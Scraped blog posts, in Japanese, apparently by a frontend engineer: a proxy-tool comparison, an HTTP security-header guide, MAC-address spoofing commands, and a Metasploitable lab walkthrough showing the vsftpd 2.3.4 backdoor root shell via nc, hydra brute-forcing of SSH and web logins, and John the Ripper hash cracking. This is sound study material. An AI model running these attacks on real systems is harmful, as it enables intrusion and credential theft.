<p>セキュリティ診断で遊ぶために、4つのローカルプロキシツールを比較検討してみました。</p>
<h2 id="やりたいこと">やりたいこと</h2>
<p>特定サービスのJSONのAPIレスポンスの一部を改ざんする</p>
<p>※ 攻撃対象のサービスは自身が開発しているサービスの開発環境に対して実施をしています。</p>
<h2 id="比較するツール">比較するツール</h2>
<p>ツールは全て無料の範囲で比較しています。お試し期間で有料版が使える場合は、お試し期間の有料版の機能でツールを使用した感想を書いています。</p>
<p>比較方法は上に挙げた「APIレスポンスの改ざん」を試した時の肌感で評価しているので、個人の趣向が非常に強く出ています。</p>
<ul>
<li><a href="https://www.telerik.com/fiddler/fiddler-everywhere" target="_blank">Fiddler Everywhere</a></li>
<li><a href="https://portswigger.net/burp/communitydownload" target="_blank">Burp Suite</a></li>
<li><a href="https://www.charlesproxy.com/" target="_blank">Charles</a></li>
<li><a href="https://mitmproxy.org/" target="_blank">mitmproxy</a></li>
</ul>
<h2 id="Fiddler（Fiddler Everywhere)">Fiddler（Fiddler Everywhere)</h2>
<p>元々 Fiddler は Windows のみ対応のツールだったが、2020年頃に Fiddler Everywhere が MacOS, Linux にも対応したツールとして新たにリリースされた。2ヶ月ほどお試し期間としてPRO版（有料）が利用可能だった。</p>
<p>PRO版の料金は月額課金で $12/月 （年契約だと 10$/月）</p>
<h3 id="良い点">良い点</h3>
<ul>
<li>UIが見やすい
<ul>
<li>レスポンスのタイプが一目で確認しやすい</li>
<li>レスポンスの書き換えのルールなどが直感的に登録できる（PRO版）</li>
</ul>
</li>
<li>リクエストの一覧をフィルタリングができる
<ul>
<li>キーワード と Headerの値 で絞り込みが可能</li>
</ul>
</li>
<li>SSL証明書のインストールやプロキシの設定の手間がない
<ul>
<li>気づいたら使えるようになってた</li>
</ul>
</li>
</ul>
<h3 id="悪い点">悪い点</h3>
<ul>
<li>無料版だとルールで設定できるアクションに制限がある
<ul>
<li>レスポンスの書き換えも無料版だと出来ない（PRO版なら可能）</li>
<li>有料版でルールのアクションが全て開放されいてる状態だと使いやすかった</li>
</ul>
</li>
<li>サインインが必須
<ul>
<li>Google認証ができるのでアカウント発行の手間はなし</li>
</ul>
</li>
</ul>
<h2 id="Burp Suite">Burp Suite</h2>
<p>有料版ならセキュリティ診断ツールとして色々な機能が使えそうだった。<br>
SQLインジェクションの診断とかもできそう？だった。（試してないので正確なことは分からない）</p>
<h3 id="良い点">良い点</h3>
<ul>
<li>自動でレスポンスの書き換えができる
<ul>
<li>部分文字列一致での置換ができる</li>
</ul>
</li>
<li>レスポンスを書き換えた場合にオリジナルのレスポンスボディと変更後のレスポンスボディの両方が確認できる</li>
<li>日本語の情報が多い</li>
<li>ステータスコードやレスポンスタイプなどによる柔軟なフィルタリングができる</li>
</ul>
<h3 id="悪い点">悪い点</h3>
<ul>
<li>UIが見づらい</li>
<li>慣れや好みの問題がもありそう</li>
<li>自分がJavaのGUI実装がデザインが好きでないので、その影響が大きい</li>
<li>無料版だとキーワードのフィルタリングができない
<ul>
<li>有料版だと可能</li>
</ul>
</li>
<li>有料版が $399/年 とかなり高い
<ul>
<li>プライベートやちょっとした開発での利用用途としては辛い</li>
</ul>
</li>
<li>自分でPCのネットワーク設定でプロキシ設定をやる必要がある</li>
<li>SSL証明書のインストールが少し手間
<ul>
<li>safariで特定のURLを開いて証明書をダウンロード</li>
<li>証明書をキーチェーンに追加</li>
<li>証明書を常に信頼するように変更</li>
</ul>
</li>
</ul>
<h2 id="Charles">Charles</h2>
<p>無料版は30分に1度の頻度で強制終了する。</p>
<h3 id="良かった点">良かった点</h3>
<ul>
<li>UIが見やすい
<ul>
<li>リクエストがドメインでグルーピングされるので、ドメイン単位でリクエストを見つけやすい</li>
</ul>
</li>
<li>レスポンスの書き替えルールが簡単に登録できる</li>
<li>料金が安い
<ul>
<li>$50/license</li>
<li>ライセンス購入時のメジャーバージョンしかアップデートができない</li>
<li>新しいメジャーバージョンのライセンス購入は定価の40%OFFで購入可能</li>
</ul>
</li>
</ul>
<h3 id="悪かった点">悪かった点</h3>
<ul>
<li>フィルタリング機能が弱い
<ul>
<li>キーワードでしか絞り込みができない</li>
</ul>
</li>
<li>設定画面の文字入力で日本語入力中に文字化けが発生して入力中の文字が見えない
<ul>
<li>確定して入力は完了するので、日本語の利用は可能</li>
</ul>
</li>
</ul>
<h2 id="mimproxy">mimproxy</h2>
<p>OSSのローカルプロキシツールで、他のツールと比較して CLI で使えるのが大きな特徴</p>
<p>Homeblew でインストールが可能</p>
<pre class="language-json"><code class="language-json">$ brew install mitmproxy
</code></pre>
<p>ブラウザで Web Interface を使う場合は、次のコマンドを実行して <a href="http://localhost:8081" target="_blank">http://localhost:8081</a> にアクセスする。</p>
<pre><code class="language-sh">$ mitmweb
</code></pre>
<p>HTTPSの通信をキャプチャする場合は <code>~/.mitmproxy/mitmproxy-ca-cert.cer</code> をキーチェーンの証明書に登録して信頼する。</p>
<h3 id="良かった点">良かった点</h3>
<ul>
<li>無料</li>
<li>Pythonでスクリプトを書けるので拡張がしやすい</li>
</ul>
<h3 id="悪かった点">悪かった点</h3>
<ul>
<li>メインはCUIツールのなので覚える事が多く学習コストが高い
<ul>
<li>WebインターフェースもあるがUIがシンプルな作りなので、操作性は高くない</li>
<li>覚えてしまえばCUIで操作が完結するので合う人には凄い合いそうなイメージ</li>
</ul>
</li>
<li>レスポンスの書き換えも少しだけ書き方にクセがある
<ul>
<li><code>/~s/xxxx/yyyy</code> みたいな形式で modify_body に追加する</li>
<li><code>~s</code> は mitmproxy の <a href="https://docs.mitmproxy.org/stable/concepts-filters/" target="_blank">filter expression</a> でレスポンスのみを対象とするフィルター</li>
</ul>
</li>
</ul>
<h2 id="結論">結論</h2>
<table>
<thead>
<tr>
<th>ツール</th>
<th>感想</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fiddler Everywhere</td>
<td>UIは一番好き。年1万円の出費が許容できるなら検討する価値はありそう</td>
</tr>
<tr>
<td>Burp Suite</td>
<td>料金が高すぎるので本当に必要な場面が出てこない限りは使わない</td>
</tr>
<tr>
<td>Charles</td>
<td>一番バランスが良かった。<br>拡張性もありそうなので、お手軽にプロキシツールを使うなら、コレが一番良さそう。<br>我慢すれば無料のままでも使える</td>
</tr>
<tr>
<td>mitmproxy</td>
<td>使い方を覚えれば簡単なことは一通りできるので、完全無料でツールを探すならコレを使う。<br>拡張性が高いのは魅力的</td>
</tr>
</tbody>
</table>


4つのローカルプロキシツールを簡単に触って比較してみました。

ローカルプロキシツールの比較

<p>フロントエンド実装においてセキュリティを考慮する際に意識した方が良いHTTPレスポンスヘッダーについてまとめています。</p>
<h2 id="X-Powered-By">X-Powered-By</h2>
<h3 id="ヘッダーの説明">ヘッダーの説明</h3>
<p>サーバー側で利用しているフレームワークやバージョン情報を含むHTTPヘッダー</p>
<pre><code>例: 
X-Powered-By: Next.js
</code></pre>
<h3 id="脆弱性">脆弱性</h3>
<p>サーバー側で利用されているフレームワークやバージョンが含まれているため、他に脆弱性が存在した場合に攻撃者に攻撃を助ける情報を与える可能性がある。</p>
<h3 id="対策方法">対策方法</h3>
<p>サーバー側で X-Powered-By ヘッダーを出力しないように設定する。</p>
<h2 id="X-Runtime">X-Runtime</h2>
<h3 id="ヘッダーの説明">ヘッダーの説明</h3>
<p>サーバーの応答時間を含むHTTPヘッダー</p>
<pre><code>例: 
X-Runtime: 0.094235
</code></pre>
<h3 id="脆弱性">脆弱性</h3>
<p>タイミング攻撃（Timing Atacking）に利用される可能性がある。</p>
<h3 id="タイミング攻撃">タイミング攻撃</h3>
<p>サーバーの応答時間の違いを利用する事でサービスを分析する攻撃手法です。<br>
例えば、次のようにログイン処理が実装されていたとします。</p>
<pre class="language-typescript"><code class="language-typescript"><span class="token keyword">const</span> <span class="token function-variable function">login</span> <span class="token operator">=</span> <span class="token punctuation">(</span>user_name<span class="token punctuation">,</span> password<span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span>
    <span class="token keyword">const</span> user <span class="token operator">=</span> User<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>user_name<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span> <span class="token punctuation">(</span>user <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token comment">// 登録済みのユーザー名の場合はパスワードチェク処理が実行される分だけ応答時間が長くなる</span>
    <span class="token keyword">const</span> mached <span class="token operator">=</span> user<span class="token punctuation">.</span><span class="token function">matchPassword</span><span class="token punctuation">(</span>password<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span> <span class="token punctuation">(</span>matched<span class="token punctuation">)</span> res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">else</span> res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre>
<p>この時、ユーザー名がサービスに登録済みの場合はパスワードチェック処理が追加で実行される影響で応答時間が少し長くなるため、攻撃者はランダムなユーザー名でリクエストを送信して X-Runtime の応答時間の違いを比較することで、サービスに登録済みのユーザー名を特定する事ができます。</p>
<pre><code># 未登録のユーザー名の場合
X-Runtime: 0.3949

# 登録済みのユーザー名の場合
X-Runtime: 0.6421
</code></pre>
<p>参考: <a href="https://www.virtuesecurity.com/kb/x-runtime-header-timing-attacks/" target="_blank">X-Runtime Header Timing Attacks - Virtue Security</a></p>
<h3 id="対策方法">対策方法</h3>
<p>X-Runtime ヘッダーを出力しないように設定する。</p>
<h2 id="Cache-Control">Cache-Control</h2>
<h3 id="ヘッダーの説明">ヘッダーの説明</h3>
<p>キャッシュの生存期間や保存可否などを制御するHTTPヘッダー<br>
HTTPレスポンスヘッダーとして指定された場合は、サーバーからのレスポンスを Cache-Control の指定に基づいて制御する。</p>
<pre><code>例 画像などを1日キャッシュする
Chach-Control: max-age=86400
</code></pre>
<h3 id="脆弱性">脆弱性</h3>
<p>ブラウザは何の指定も無い場合はデフォルトでサーバーレスポンスを可能な場合にキャッシュします。<br>
この時サーバーレスポンスにユーザーのパスワード情報などが含まれていた場合に、何らの方法で攻撃者がユーザーの物理マシンにアクセス可能な状態であれば、マシンに保存されているブラウザキャッシュなどからパスワード情報を盗み出される可能性がある。</p>
<h3 id="対策方法">対策方法</h3>
<p>Cache-Control を指定して、扱う情報に応じた適切なキャッシュ制御を行う。<br>
例えば、ユーザーの端末に保存するべきでない情報を含む場合は <code>nostore</code> を指定してキャッシュを保存しないようにする。</p>
<pre><code>Cache-Control: nostore
</code></pre>
<h2 id="X-Frame-Options">X-Frame-Options</h2>
<h3 id="ヘッダーの説明">ヘッダーの説明</h3>
<p><a href="https://developer.mozilla.org/ja/docs/Web/HTTP/X-Frame-Options" target="_blank">X-Frame-Options - HTTP | MDN</a></p>
<p>ブラウザが自分のWebページを &lt;iframe&gt; や &lt;object&gt; の中へ表示することを禁止することで、Webページが他のサイトに埋め込まれないことを保証することができます。</p>
<h3 id="脆弱性の説明">脆弱性の説明</h3>
<p>適切に設定していない場合にクリックジャッキング攻撃に利用される可能性がある。</p>
<h3 id="クリックジャッキング攻撃">クリックジャッキング攻撃</h3>
<p>外部ページを埋め込んだiframeを透明化して通常のWebページの上に被せることで、攻撃者がユーザーに意図しない操作をさせる攻撃手法です。</p>
<p>例えば、次の要件を満たすようなサービスをユーザーが利用しているとします。</p>
<pre><code>1. ログイン情報をCookieで管理している
2. same-site属性はnone
3. アカウント画面の削除ボタンを押すだけで確認なしでアカウントが削除できる
</code></pre>
<p>このとき対象サービスのアカウントページをiframeに埋め込み透明化した状態でWebページの上に重ねた場合、ユーザーがログイン済みであればユーザーのアカウントページが透明な状態で上に重なって表示されます。<br>
対象サービスの削除ボタンに重なる位置にクリックしたくなるようなリンクを配置することで、ユーザーに削除ボタンをクリックさせて、アカウントを削除するように誘導する事ができます。</p>
<h3 id="対策方法">対策方法</h3>
<p><code>X-Frame-Options: Deny</code> を指定する事で iframe 等へのページの埋め込みを禁止する。</p>
<h2 id="Content-Security-Policy（CSP）">Content-Security-Policy（CSP）</h2>
<h3 id="ヘッダーの説明">ヘッダーの説明</h3>
<p><a href="https://developer.mozilla.org/ja/docs/Web/HTTP/CSP" target="_blank">コンテンツセキュリティポリシー (CSP) - HTTP | MDN</a></p>
<p>インラインスクリプトの実行を禁止してXSSなどの攻撃を軽減する事ができます。</p>
<p>例えば、次のようにHTTPレスポンスヘッダーに含める事で、掲示板のサービスなどでサニタイズ処理をせず任意の文字列をサービスに埋め込める脆弱性があった場合でも、インラインスクリプトの実行ができないためXSS攻撃を軽減する事ができます。</p>
<pre><code># 外部ドメインのファイル読み込みやインラインスクリプトの実行を禁止する
Content-Security-Policy: default-src 'self'
</code></pre>
<p>IEは CSPの sandbox ディレクティブのみが利用可能になっており、IE9以下は CSP 未対応なので、次に紹介する X-XSS-Protection を利用する必要があります。</p>
<p>詳しい設定は上記のMDNのリンクを参照してください。</p>
<h3 id="脆弱性の説明">脆弱性の説明</h3>
<p>掲示板などでユーザーが入力した値をサニタイズせずに画面上に表示していた場合にXSS攻撃を仕込まれる可能性がある。</p>
<h3 id="注意点">注意点</h3>
<p>外部ドメインからのスクリプト読み込みを禁止した場合に、CDN経由でのライブラリ読み込みなどが出来なくなってしまいます。<br>
そのため、自身のサービスの特性に合わせて適切に設定する必要があります。</p>
<p>例えば、次の設定をする事で自身のドメインと特定ドメインの CDN からのみスクリプト読み込みを許可する事ができます。</p>
<pre><code>Content-Security-Policy: default-src 'self' cdnjs.cloudflare.com
</code></pre>
<h3 id="対策方法">対策方法</h3>
<p>Content-Security-Policyを適切に設定する。</p>
<p>※ CSPの設定とは別でユーザーが入力した値を表示する箇所で適切にサニタイズ処理はするべきです。</p>
<h2 id="X-XSS-Protection">X-XSS-Protection</h2>
<h3 id="ヘッダーの説明">ヘッダーの説明</h3>
<p>ブラウザがXSS攻撃を検出した時にページの読み込みを自動で停止します。</p>
<p>CSPが厳しく設定済みであれば、このヘッダーは本来不要です。<br>
しかし、ユーザーがCSPに未対応の古いブラウザ（IE9以下）を利用している場合に有効な対策になります。</p>
<h2 id="Strict-Transport-Security">Strict-Transport-Security</h2>
<h3 id="ヘッダーの説明">ヘッダーの説明</h3>
<p><a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Strict-Transport-Security" target="_blank">Strict-Transport-Security - HTTP | MDN</a></p>
<p>HTTPS でページにアクセスした時にHTTPレスポンスヘッダーに含めることで、次回以降はブラウザーに HTTP の代わりに HTTPS を用いて通信を行うよう指示する事ができます。</p>
<p>初めてのユーザーが HTTP でページにアクセスした場合は Strict-Transport-Security 無視されるため、ユーザーが HTTPS アクセスを一度もしていない場合には有効でない事に注意してください。<br>
HTTPS アクセスをしてSSL証明書が確認されたタイミングで設定が有効になります。</p>
<pre><code># HTTPSアクセスの設定を1年間有効にする（有効期限はアクセスの度に更新される）
Strict-Transport-Security: max-age=31536000;
</code></pre>
<h3 id="脆弱性の説明">脆弱性の説明</h3>
<p>HTTPアクセスが許可されている銀行サイトを普段から利用していたとします。<br>
カフェで無料のWifiに接続した状態で、その銀行サイトをHTTP経由で利用をしてしまった場合に、攻撃者にHTTPリクエストの内容を傍受され銀行口座やログイン情報などが盗まれる可能性があります。</p>
<h3 id="対策方法">対策方法</h3>
<p>Strict-Transport-Security ヘッダーを指定する。</p>
<p>上の例では、もし銀行サイトが Security-Transport-Security を設定しており、一度でも HTTPS で銀行サイトにアクセスしていた場合には、誤ってHTTPアクスした場合でも HTTPS 経由で自動で接続されるため被害を防ぐことができます。</p>


WebセキュリティのためのHTTPレスポンスヘッダー

<p>とある会社の人と話していて、社内インフラの人がセキュリティ対策としてMacアドレスを見てアクセスを制限している。と聞いて、Macアドレスって簡単に偽装できるんじゃない？と思い調べてみました。</p>
<h2 id="注意">注意</h2>
<p>この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としています。<br>
決して外部の環境に対して悪意のある実行をしないようにしてください。</p>
<h2 id="spoof">spoof</h2>
<p>調べたら macOS, Windows, Linux で利用可能な Macアドレスを偽装できるCLIツールがあった。</p>
<p><a href="https://github.com/feross/spoof" target="_blank">feross/spoof: Easily spoof your MAC address in macOS, Windows, &amp; Linux!</a></p>
<h3 id="インストール">インストール</h3>
<pre><code>$ npm i -g spoof
</code></pre>
<h3 id="使い方">使い方</h3>
<h4 id="Macアドレスの一覧を表示">Macアドレスの一覧を表示</h4>
<pre class="language-shell"><code class="language-shell">$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx
- <span class="token punctuation">..</span>.
</code></pre>
<h4 id="ランダムなMacアドレスを設定">ランダムなMacアドレスを設定</h4>
<pre class="language-shell"><code class="language-shell"><span class="token comment"># root権限が必要</span>
$ <span class="token function">sudo</span> spoof randomize en0
$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx currently <span class="token builtin class-name">set</span> to 00:50:56:6F:42:0A
- <span class="token punctuation">..</span>.
</code></pre>
<h4 id="任意のMacアドレスを設定">任意のMacアドレスを設定</h4>
<pre class="language-shell"><code class="language-shell"><span class="token comment"># root権限が必要</span>
$ <span class="token function">sudo</span> spoof <span class="token builtin class-name">set</span> 
$ <span class="token function">sudo</span> spoof list
</code></pre>
<h4 id="Macアドレスをリセット">Macアドレスをリセット</h4>
<pre class="language-shell"><code class="language-shell"><span class="token comment"># root権限が必要</span>
$ sodo spoof reset en0
</code></pre>
<h2 id="ツールを利用しない場合">ツールを利用しない場合</h2>
<p>ツール使わなくても普通にできるようでした。<br>
<a href="https://yu8mada.com/2018/06/27/how-to-change-one-s-own-mac-address-using-terminal-on-macos/" target="_blank">macOS でターミナルを使って自分のMAC アドレスを変更する方法 - yu8mada</a></p>
<h4 id="Macアドレスの確認">Macアドレスの確認</h4>
<pre class="language-shell"><code class="language-shell">$ networksetup -listallhardwareports

Hardware Port: Wi-Fi
Device: en0
Ethernet Address: xx:xx:xx:xx:xx:xx

<span class="token punctuation">..</span>.

$ <span class="token function">ifconfig</span> en0 <span class="token operator">|</span> <span class="token function">grep</span> ether
	ether xx:xx:xx:xx:xx:xx
</code></pre>
<h4 id="Macアドレスの設定">Macアドレスの設定</h4>
<pre class="language-shell"><code class="language-shell">$ <span class="token function">sudo</span> <span class="token function">ifconfig</span> en0 ether <span class="token number">60</span>:d2:48:2f:39:64
$ <span class="token function">ifconfig</span> en0 <span class="token operator">|</span> <span class="token function">grep</span> ether
	ether <span class="token number">60</span>:d2:48:2f:39:64
</code></pre>
<h4 id="Macアドレスをリセット">Macアドレスをリセット</h4>
<p>リセットの事を考えると spoof を利用した方が早そう。</p>
<pre class="language-shell"><code class="language-shell">$ networksetup -getmacaddress Wi-Fi
Ethernet Address: xx:xx:xx:xx:xx:xx <span class="token punctuation">(</span>Hardware Port: Wi-Fi<span class="token punctuation">)</span>

$ sufo <span class="token function">ifconfig</span> en0 ether xx:xx:xx:xx:xx:xx
</code></pre>
<h2 id="まとめ">まとめ</h2>
<p>調べたらMacアドレスの偽装は凄い簡単にできました。<br>
単純なMacアドレスのによるアクセス制御はあまり意味が無かったです。</p>


Macアドレスを偽装する

<p>Metasploitableという脆弱性が用意されたLinuxの仮想環境に対して攻撃を試すことで、Linuxのハッキング方法について学んだので、実際に試した攻撃についてまとめています。</p>
<h2 id="注意">注意</h2>
<p>この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としており、実験も仮想環境上で実行しています。<br>
決して外部の環境に対して実行しないようにしてください。</p>
<h2 id="参考">参考</h2>
<p><a href="https://www.shoeisha.co.jp/book/detail/9784798155302" target="_blank">ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習</a><br>
第5章 「Metasploitableのハッキング」</p>
<h2 id="ツール一覧">ツール一覧</h2>
<ul>
<li>Netcat
<ul>
<li>TCP/UDPの接続を利用したデータを送受信するCLIツール</li>
<li>ファイル転送など色々な用途に使える万能ツール</li>
</ul>
</li>
<li>nmap
<ul>
<li>攻撃対象の空いているポート番号を特定する（ポートスキャン）</li>
</ul>
</li>
<li><a href="https://www.exploit-db.com/" target="_blank">Explit-DB</a>、<a href="https://www.cvedetails.com/" target="_blank">CVE Details</a>
<ul>
<li>脆弱性を検索できるサービス</li>
</ul>
</li>
<li>hydra
<ul>
<li>オンラインのパスワードクラッキングツール</li>
</ul>
</li>
<li>Jhon the Ripper
<ul>
<li>暗号化されたパスワードの解析ツール</li>
<li>Linuxの /etc/shadow やWebサービスのDBに保存してある暗号化されたパスワードを解析して元の文字列を復元する</li>
</ul>
</li>
<li>wireshark
<ul>
<li>パケットキャプチャツール</li>
<li>ネットワーク内のパケットをキャプチャすることで、どこ対してどんな内容の通信がされているかを解析する。</li>
</ul>
</li>
</ul>
<h2 id="ポートスキャン">ポートスキャン</h2>
<p>-p-: 1~65535番までのポート番号を対象とする<br>
-sV: 各ポートのサービスのバージョンを検出する<br>
-O: ターゲットのOSを特定する。</p>
<pre><code>$ nmap -sV -O -p- &lt;IP&gt;
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 00:28 JST
Nmap scan report for 10.0.0.5
Host is up (0.00068s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
...
</code></pre>
<h2 id="vsftpdのバックドアを利用">vsftpdのバックドアを利用</h2>
<p>vsftpd 2.3.4 には リモートからコマンド実行可能なバックドアが含まれている。<br>
（2011/06/30に埋め込まれて、2011/07/03 には修正済み）<br>
<code>:)</code> を含むユーザー名でFTPにログインするとポート6200(TCP)にバックドアが開く。</p>
<pre><code>$ nc &lt;攻撃対象のIP&gt; 21
220 (vsFTPd 2.3.4)
USER hoge:)
331 Please specify the password.
PASS hoge
</code></pre>
<p>別ターミナルで確認すると6200ポートが開いてる事が確認できる。</p>
<pre><code>$ nmap -p 6200 &lt;IP&gt;
PORT     STATE SERVICE
6200/tcp open  lm-x
</code></pre>
<p>6200ポートにバックドアが開くので、別ターミナルで6200にアクセスする。</p>
<pre><code>$ nc -nv &lt;IP&gt; 6200
(UNKOWN) [&lt;IP&gt;] 6200 (?) open
whoami # コマンドを実行
root   # 結果が返ってくる
</code></pre>
<h2 id="辞書攻撃でSSHアカウントの認証解析">辞書攻撃でSSHアカウントの認証解析</h2>
<pre><code># ユーザーの辞書ファイルを作成
$ cat &gt; user.lst
root
sys
...

# パスワードの辞書ファイルを作成
$ cat &gt; pass.lst
root
passwd
...

# 辞書ファイルを利用して総当たり
$ hydra -L user.lst -P pass.lst -t 4 &lt;IP&gt; ssh
</code></pre>
<h2 id="暗号化パスワードの解析">暗号化パスワードの解析</h2>
<p>John the Ripper を利用してパスワードを解析する。<br>
<code>ユーザー名:暗号化パスワード</code> の形式で解析したいパスワードをファイルに保存してコマンドを実行</p>
<pre><code>$ cat passwords
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

# 総当たり攻撃で解析（めっちゃ時間かかる）
$ john --incremental passwords
</code></pre>
<h2 id="HTTPの認証を解析">HTTPの認証を解析</h2>
<p>hydra で認証ページに対して辞書攻撃をして有効なID/パスワードを見つける。<br>
http-form-post の書式は <code>&lt;認証APIのパス&gt;:&lt;送信パラメータ&gt;:&lt;認証失敗時のレスポンスに表示される文字列&gt;</code>となる。<br>
攻撃対象のURLや送信パラメータの構造は wireshark などでパケットキャプチャをして確認する。</p>
<pre><code>$ hydra -L user.lst -P pass.lst -s &lt;Webサービスのポート&gt; &lt;ターゲットIP&gt; http-form-post &quot;/admin/j_security_check:j_username=^USER^&amp;j_password=^PASS^:Invalid username or password&quot;
</code></pre>


Metasplotableで体験するLinuxのハッキング

JPEG画像にJavaScriptのコードを埋め込んでみる

神奈川の田舎で働いてるフロントエンドエンジニアのブログ